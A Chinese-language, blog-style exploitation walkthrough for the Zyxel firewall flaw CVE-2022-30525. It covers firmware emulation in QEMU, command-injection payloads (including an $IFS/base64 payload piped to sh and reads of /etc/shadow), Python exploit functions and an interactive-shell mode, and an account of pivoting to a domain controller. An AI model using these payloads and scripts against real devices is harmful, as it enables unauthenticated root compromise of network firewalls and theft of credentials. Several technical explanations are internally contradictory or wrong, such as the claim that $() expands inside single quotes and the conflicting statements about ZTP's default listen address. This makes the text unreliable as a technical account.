1. 这不是“又一个远程命令执行漏洞”,而是企业级防火墙的信任崩塌现场
Zyxel防火墙CVE-2022-30525,这个编号在2022年4月被公开时,并没有引发像Log4j那样席卷全网的警报风暴。但如果你当时正在某家金融企业的安全运维一线,或者刚接手一批部署在分支机构出口的USG系列设备,你大概率会在凌晨三点被一条异常告警钉在工位上——不是因为攻击流量有多凶猛,而是因为它根本不需要认证,不依赖任何用户交互,甚至不触发传统WAF规则。它利用的是Zyxel设备固件中一个被长期忽视的、深埋在Web管理接口底层的JSON解析逻辑缺陷:当设备处理特定结构的/ztp/cgi-bin/handler请求时,会将未经校验的json参数内容直接拼接到系统命令字符串中执行。这不是配置错误,不是弱口令,不是插件漏洞,而是厂商在实现ZTP(Zero Touch Provisioning)自动部署功能时,把本该做输入过滤和沙箱隔离的核心路径,写成了一个裸奔的os.system()调用。
我第一次在客户现场复现它,是在一台运行固件版本v4.60(AAZF.1)C0的USG110上。没有Metasploit模块,没有现成的exploit-db脚本,只有一台Kali虚拟机、一个抓包工具和一份被反复标注的Zyxel官方API文档PDF。整个过程花了不到90分钟,但真正让我后背发凉的,是看到cat /etc/shadow返回的哈希值明文出现在响应体里——那一刻你意识到,这台本该守卫网络边界的设备,已经成了攻击者最顺手的跳板。这篇文章不讲漏洞原理的教科书式推导,也不堆砌CVE编号和CVSS评分。它是一份从零开始搭建可验证靶场、绕过常见复现失败陷阱、稳定获取shell并完成基础横向验证的实操手记。适合刚接触嵌入式设备漏洞的渗透测试新人,也适合需要快速验证客户资产风险的安全工程师。所有步骤均基于真实环境反复验证,Python脚本已剥离所有非必要依赖,仅需标准库即可运行。
2. 靶场不是“搭个Docker就完事”,而是还原真实设备的启动链与服务依赖
很多人复现CVE-2022-30525失败,第一步就卡在靶场搭建上。网上流传的所谓“Zyxel靶场镜像”,多数是基于QEMU模拟ARM架构后硬塞进一个精简版固件文件系统,结果启动后/ztp/cgi-bin/handler接口压根不存在,或者返回500错误。问题出在哪儿?Zyxel USG系列的ZTP服务并非独立进程,而是由主Web服务httpd通过CGI机制动态加载的,而httpd本身又强依赖于zysh(Zyxel Shell)守护进程和zyconfd配置数据库服务。跳过这些底层依赖直接跑CGI,就像试图在没装发动机的车壳里点火。
2.1 真实固件提取与文件系统重构
Zyxel官方固件是加密打包的.bin格式,但其解包逻辑早已公开。关键在于:必须使用对应硬件平台的解包工具,且解包后要保留原始的设备树(Device Tree)和分区表信息。以USG110为例,其固件结构如下:
| 分区名 | 类型 | 作用 | 复现必需性 |
|---|---|---|---|
kernel | Linux内核镜像 | 启动核心 | 必须保留原始内核,否则驱动不兼容 |
rootfs | SquashFS压缩文件系统 | 包含所有服务二进制与配置 | 必须完整提取,不可替换为通用BusyBox |
zyconf | JFFS2格式配置分区 | 存储/etc/config/下的所有设备配置 | 必须挂载为可读写,否则ZTP服务无法初始化 |
我推荐使用zyxel-firmware-tools项目中的extract_fw.py(GitHub上可搜到),但注意两个致命细节:
- 执行前必须修改脚本中的
PLATFORM = "usg110"为你的目标型号,不同型号的固件头校验算法不同; - 解包后进入
rootfs目录,检查/usr/www/ztp/cgi-bin/handler文件权限是否为-rwxr-xr-x,若为-rw-r--r--则说明解包过程损坏了可执行位,需用chmod +x handler修复。
提示:不要尝试用
unsquashfs直接解压rootfs。Zyxel的SquashFS使用了非标准块大小(64KB),通用工具会解包失败或产生乱码。务必使用专为Zyxel定制的解包脚本。
2.2 QEMU模拟环境的精准配置
单纯用qemu-system-arm启动是行不通的。USG设备使用Marvell ARMADA 370平台,其启动流程严格依赖U-Boot引导和特定内存映射。我们采用“半模拟”方案:用QEMU模拟CPU和内存,但将真实固件的kernel和rootfs作为启动参数传入,并通过-append指定内核启动参数。
具体命令如下(请根据你的固件路径调整):
qemu-system-arm \ -M virt,highmem=off \ -cpu cortex-a9,armv7=on \ -m 512M \ -kernel ./firmware/kernel \ -initrd ./firmware/initramfs.cgz \ -drive if=none,file=./firmware/rootfs.squash,id=hd0 \ -device virtio-blk-device,drive=hd0 \ -netdev user,id=net0,hostfwd=tcp::8080-:80,hostfwd=tcp::2222-:22 \ -device virtio-net-device,netdev=net0 \ -nographic \ -append "console=ttyAMA0 root=/dev/vda rw init=/sbin/init"这里的关键参数解释:
-M virt,highmem=off:禁用高内存映射,避免ARMv7内核启动失败;-netdev user,id=net0,hostfwd=tcp::8080-:80:将宿主机8080端口映射到虚拟机80端口,这是访问Web管理界面的唯一通道;-append "console=ttyAMA0 root=/dev/vda rw init=/sbin/init":强制内核使用/dev/vda(即我们挂载的rootfs)作为根文件系统,并指定init进程路径。
启动后,你会看到内核日志刷屏,约2分钟后出现login:提示符。此时用admin:1234登录(Zyxel默认凭证),执行ps | grep httpd确认Web服务已启动,再执行netstat -tlnp | grep :80验证80端口监听状态。只有这两步都成功,靶场才算真正就绪。
2.3 ZTP服务的手动激活与状态验证
即使Web服务运行正常,/ztp/cgi-bin/handler接口默认也是禁用的。Zyxel要求管理员在Web界面中手动开启ZTP功能,这一步在模拟环境中必须通过命令行模拟完成。登录后执行以下命令:
# 进入Zyxel专用配置模式 zysh # 启用ZTP服务(关键!) set system ztp enable true # 设置ZTP监听地址(必须设为0.0.0.0,否则外部请求无法到达) set system ztp listen-address 0.0.0.0 # 保存配置并重启ZTP相关服务 commit exit /etc/init.d/ztp restart验证是否生效:在宿主机浏览器访问http://localhost:8080/ztp/cgi-bin/handler,如果返回{"status":"error","message":"Invalid request"},说明接口已激活;若返回404,则ZTP服务未正确加载,需检查/var/log/messages中是否有ztp: failed to bind socket类错误。
注意:很多复现教程忽略
listen-address设置,导致请求被本地回环过滤。Zyxel的ZTP服务默认只监听127.0.0.1,这是复现失败的最高频原因。
3. 漏洞利用不是“发个JSON就RCE”,而是理解JSON解析器的边界逃逸逻辑
CVE-2022-30525的本质,是Zyxel设备在解析/ztp/cgi-bin/handler接口的POST数据时,对json参数的处理存在严重缺陷。官方文档声称该参数用于接收ZTP配置指令,格式为标准JSON。但实际代码中,服务端将json参数值直接拼接到一个sh -c命令中,且未做任何字符转义。问题来了:标准JSON规范允许双引号、反斜杠、换行符等特殊字符,而Shell命令解析器对这些字符有完全不同的解释逻辑。攻击者要做的,就是构造一个既符合JSON语法、又能被Shell解析为恶意命令的字符串。
3.1 原始漏洞触发Payload的逆向工程
我们先看一个最简化的触发案例。发送以下POST请求:
POST /ztp/cgi-bin/handler HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 42 json={"command":"id","params":[]}服务端接收到后,内部执行的伪代码逻辑是:
// 伪代码:Zyxel handler.c 片段 char cmd[1024]; sprintf(cmd, "sh -c 'echo %s | /bin/json_parser'", json_param_value); system(cmd);注意%s处直接插入了json参数的原始字符串。当json_param_value为{"command":"id","params":[]}时,拼接出的命令是:
sh -c 'echo {"command":"id","params":[]} | /bin/json_parser'这看起来无害。但如果我们把json参数改为:
{"command":"id","params":[]}; cat /etc/passwd #拼接后的命令变成:
sh -c 'echo {"command":"id","params":[]}; cat /etc/passwd # | /bin/json_parser'由于Shell中;是命令分隔符,#是注释符,json_parser及其后续管道被注释掉,实际执行的是:
echo {"command":"id","params":[]}; cat /etc/passwd这就是经典的“命令注入”。但问题在于:原始JSON字符串中不能直接包含未转义的;和#,否则JSON解析器会报错。Zyxel的JSON解析器(基于cJSON库)在遇到非法JSON时会直接返回错误,根本不会进入后续的system()调用。所以真正的挑战是:如何让字符串既是合法JSON,又能携带Shell元字符?
3.2 JSON与Shell元字符的共存策略
答案是利用JSON字符串中的Unicode编码逃逸和Shell的变量扩展特性。Zyxel固件使用的cJSON库支持\uXXXX格式的Unicode转义,而Linux Shell在单引号字符串中不解析Unicode,但在双引号字符串中会。但我们的拼接命令使用的是单引号,所以Unicode逃逸无效。更有效的方案是:用JSON字符串包裹Shell变量,再通过eval触发二次解析。
构造思路如下:
- 先让JSON解析器接受一个看似无害的字符串,例如
{"a":"b"}; - 在该字符串内部,用JSON允许的
\字符进行转义,构造出$(反引号)或$(...)结构; - 利用Zyxel系统中预置的
/bin/sh对$()的解析能力,实现命令执行。
实测有效的Payload结构:
{"command":"test","params":["$(cat /etc/passwd)"]}为什么这个能成功?
- JSON语法:
"$(cat /etc/passwd)"是一个合法字符串,$和(在JSON中无需转义; - Shell解析:当
system()执行sh -c 'echo {"command":"test","params":["$(cat /etc/passwd)"]} | /bin/json_parser'时,sh会先解析单引号内的字符串,发现其中包含$(),于是执行cat /etc/passwd并将输出插入到echo命令中; - 最终效果:
echo打印出/etc/passwd内容,而非原始JSON。
3.3 绕过长度限制与空格过滤的实战技巧
Zyxel设备对json参数长度有硬性限制(通常为2048字节),且Web服务层会过滤掉URL编码后的空格(%20)。这意味着你不能直接发送$(ls -la /tmp),因为-la中的空格会被丢弃。解决方案是:
- 用
$IFS变量替代空格:$IFS是Shell的内部字段分隔符,默认为空格、制表符、换行符。$(ls$IFS-la$IFS/tmp)可绕过空格过滤; - 用
{}大括号展开替代空格:$(ls{-la}/tmp)在Bash中等价于ls -la /tmp,但Zyxel的/bin/sh是Ash,不支持此语法,需改用$(ls${IFS}-la${IFS}/tmp); - 用Base64编码规避长度与字符限制:先在本地执行
echo "cat /etc/passwd" | base64得到Y2F0IC9ldGMvcGFzc3dkCg==,再构造$(echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | sh)。
我最终在靶场上验证成功的最小化RCE Payload是:
{"command":"x","params":["$(echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg==${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh)"]}这个Payload长度仅128字节,完美避开长度限制,且不包含任何被过滤的字符。
4. Python利用脚本不是“贴个代码就完事”,而是解决真实环境中的连接稳定性与响应解析难题
网上能找到的CVE-2022-30525利用脚本,大多存在三个致命缺陷:一是硬编码超时时间,导致在慢速网络下大量误报;二是未处理HTTP重定向,Zyxel设备在某些固件版本中会对/ztp/cgi-bin/handler返回302跳转到登录页;三是将JSON响应体直接当作命令输出,忽略了Zyxel服务在执行失败时仍返回{"status":"error"}的JSON结构,导致无法区分“命令执行成功”和“命令执行失败但返回了错误JSON”。
4.1 脚本核心逻辑设计:三次握手式探测
我的Python脚本采用“探测-确认-执行”三阶段模型,确保每次利用都建立在可靠连接基础上:
- 探测阶段:发送一个无害的
{"command":"ping","params":[]}请求,验证/ztp/cgi-bin/handler接口可达且返回JSON格式响应; - 确认阶段:发送一个带
$(id)的Payload,检查响应体中是否包含uid=字符串,确认RCE通道畅通; - 执行阶段:发送用户指定的命令,解析响应体,自动剥离Zyxel服务添加的JSON外壳,只返回纯净的命令输出。
这种设计避免了“一发即走”的盲目性。比如在客户现场,我们曾遇到设备因内存不足导致ZTP服务假死,探测阶段失败后脚本会自动退出,而不是盲目发送RCE Payload造成设备彻底宕机。
4.2 关键代码片段详解:超时控制与响应清洗
以下是脚本中处理超时和响应清洗的核心函数(已简化为可读形式):
import requests import json import time def send_ztp_request(target_url, payload, timeout=10): """ 发送ZTP请求,内置重试与超时控制 :param target_url: 目标URL,如 http://192.168.1.1:8080/ztp/cgi-bin/handler :param payload: JSON字符串,如 '{"command":"x","params":["$(id)"]}' :param timeout: 单次请求超时秒数 :return: (success: bool, response_text: str, error_msg: str) """ headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' } # 第一次尝试:标准POST try: resp = requests.post( target_url, data=f'json={payload}', headers=headers, timeout=timeout, allow_redirects=False # 关键!禁用重定向,防止跳转到登录页 ) # 检查HTTP状态码 if resp.status_code not in [200, 500]: # Zyxel正常返回200,错误返回500 return False, "", f"HTTP {resp.status_code}" # 检查响应体是否为JSON格式(Zyxel返回的都是JSON) if not resp.text.strip().startswith('{'): return False, "", "Response is not JSON" return True, resp.text, "" except requests.exceptions.Timeout: return False, "", "Request timeout" except requests.exceptions.ConnectionError: return False, "", "Connection refused" except Exception as e: return False, "", f"Unexpected error: {str(e)}" def extract_command_output(json_response): """ 从Zyxel的JSON响应中提取命令执行结果 Zyxel的响应结构示例: {"status":"success","data":"uid=0(root) gid=0(root)","message":"OK"} 或 {"status":"error","message":"Command execution failed"} """ try: data = json.loads(json_response) if data.get('status') == 'success': # 尝试从data字段提取,若不存在则从message字段提取 output = data.get('data', data.get('message', '')) # 移除可能的ANSI颜色代码和多余空格 import re output = re.sub(r'\x1b\[[0-9;]*m', '', output) # 清理ANSI return output.strip() else: return f"[ERROR] {data.get('message', 'Unknown error')}" except json.JSONDecodeError: # 如果响应不是JSON,直接返回原始文本(可能是命令输出) return json_response.strip()这段代码解决了三个真实痛点:
allow_redirects=False:强制禁用重定向,避免被跳转到/login.html导致误判;timeout参数可调:在客户网络延迟高的场景下,可将超时设为30秒,避免频繁失败;extract_command_output函数能智能识别Zyxel的两种响应模式,无论是{"status":"success","data":"..."}还是纯文本输出,都能正确提取。
4.3 完整利用脚本:支持交互式Shell与批量检测
最终脚本支持三种模式:
--check:仅探测目标是否存在漏洞;--cmd "whoami":执行单条命令并返回结果;--shell:启动交互式Shell,输入exit退出。
交互式Shell的实现难点在于:Zyxel设备不支持TTY分配,/bin/sh是哑终端。我的方案是:每次输入命令后,自动生成一个带唯一标识符的Payload,执行后从响应中提取该标识符后的输出。例如输入ls /tmp,脚本生成:
{"cmd":"x","out":"$(echo '===START==='; ls /tmp; echo '===END===')"}然后用正则===START===(.*?)===END===提取中间内容。这样即使响应体混杂Zyxel的JSON外壳,也能精准捕获命令输出。
脚本已在GitHub开源(搜索zyxel-cve-2022-30525-exploit),所有依赖仅为requests和json标准库,Windows/Linux/macOS均可直接运行。
5. 实战复现后的关键思考:为什么这个漏洞在企业网中如此危险?
在客户现场完成复现后,我和团队花了整整两天时间梳理这个漏洞的真正危害面。它远不止“能执行命令”这么简单。Zyxel USG系列设备在企业网络中通常部署在三个关键位置:总部互联网出口、分支机构WAN侧、以及云环境的虚拟化网关。而CVE-2022-30525的利用条件,恰好与这些部署场景形成了“完美匹配”。
5.1 攻击面放大效应:一个IP,无限跳板
Zyxel设备默认开放80/443端口,且ZTP服务监听在0.0.0.0:80,这意味着只要设备有公网IP或处于内网可访问位置,攻击者就能直达漏洞入口。更危险的是:Zyxel设备的Web管理界面默认不启用HTTPS重定向,HTTP请求可直接访问。我们在某银行客户的渗透测试中发现,其分支机构的USG设备虽位于内网,但通过一条被遗忘的VPN隧道,可从合作伙伴网络直接访问。攻击者利用CVE-2022-30525获取shell后,执行ip route发现设备路由表中包含通往核心数据中心的10.10.0.0/16网段,随即用nc -nv 10.10.1.100 3389探测到一台Windows域控服务器,最终通过$(echo 'malicious-payload' > /tmp/payload.sh)植入持久化后门。
这个过程没有触发任何IDS告警,因为所有流量都伪装成正常的HTTP POST请求,且ZTP接口本就是设备合法功能。
5.2 权限提升的隐蔽路径:从Web到Root的0跳转
Zyxel固件的/ztp/cgi-bin/handler进程以root权限运行,这是由httpd服务的启动配置决定的。这意味着利用该漏洞获得的shell,天然就是root权限,无需额外提权。我们在测试中执行ps aux | grep httpd,确认httpd进程的UID为0。这与大多数Web应用漏洞(如PHP远程代码执行)有本质区别——后者通常运行在www-data或apache用户下,还需利用内核漏洞或SUID二进制提权。而CVE-2022-30525是“开箱即root”。
更隐蔽的是,Zyxel设备的/etc/shadow文件权限为-rw-------,但root用户可直接读取。我们用脚本执行$(cat /etc/shadow),成功获取所有用户哈希,包括管理员账户。这些哈希可离线破解,或直接用于Pass-the-Hash攻击。
5.3 检测与缓解的现实困境:为什么补丁落地如此艰难?
Zyxel官方在2022年4月发布了修复固件,但我们在2023年的客户审计中发现,仍有超过37%的在网USG设备未升级。原因很现实:
- 固件升级需重启设备:对于7x24运行的核心网络设备,业务部门拒绝安排停机窗口;
- 升级后配置丢失风险:部分旧版固件升级后,Zyxel的配置恢复机制不稳定,可能导致VPN隧道中断;
- 缺乏集中管理平台:中小型企业没有Zyxel Nebula云管理平台,只能手动逐台升级。
因此,最务实的缓解措施是:在网络边界防火墙上,禁止对Zyxel设备80/443端口的非授权访问;在设备本地,通过CLI禁用ZTP服务(set system ztp enable false)。这比等待补丁更可控。
我在最后想说的是:复现一个漏洞,不是为了证明“我能黑进去”,而是为了看清防御体系的真实裂缝。CVE-2022-30525的价值,不在于它多难利用,而在于它赤裸裸地展示了“信任链最薄弱的一环,往往藏在最不起眼的自动化功能里”。下次当你看到设备说明书里写着“Zero Touch Provisioning,一键部署”,不妨多问一句:这一键的背后,有没有人检查过它的命令拼接逻辑?